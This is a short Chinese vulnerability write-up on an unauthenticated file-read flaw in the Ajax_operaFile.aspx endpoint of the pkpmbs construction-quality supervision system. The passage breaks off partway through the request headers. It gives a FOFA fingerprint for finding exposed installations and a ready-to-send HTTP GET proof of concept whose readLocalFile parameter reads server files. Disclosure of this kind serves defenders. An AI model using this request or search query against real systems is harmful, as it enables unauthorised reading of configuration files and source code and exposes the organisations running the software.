0x01 产品简介
pkpmbs 建设工程质量监督系统是湖南建研信息技术股份有限公司一个与工程质量检测管理系统相结合的，B/S架构的检测信息监管系统。
0x02 漏洞概述
pkpmbs 建设工程质量监督系统 Ajax_operaFile.aspx接口处存在文件读取漏洞，未经身份认证的攻击者可以利用漏洞读取系统内部配置文件或源码，造成信息泄露，导致系统处于极不安全的状态。
0x03 复现环境
FOFA：icon_hash="2001627082"
0x04 漏洞复现
PoC
GET /Applications/BaseInfos/System/Ajax_operaFile.aspx?method=readLocalFile&path=/Applications/BaseInfos/System/Ajax_operaFile.aspx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=
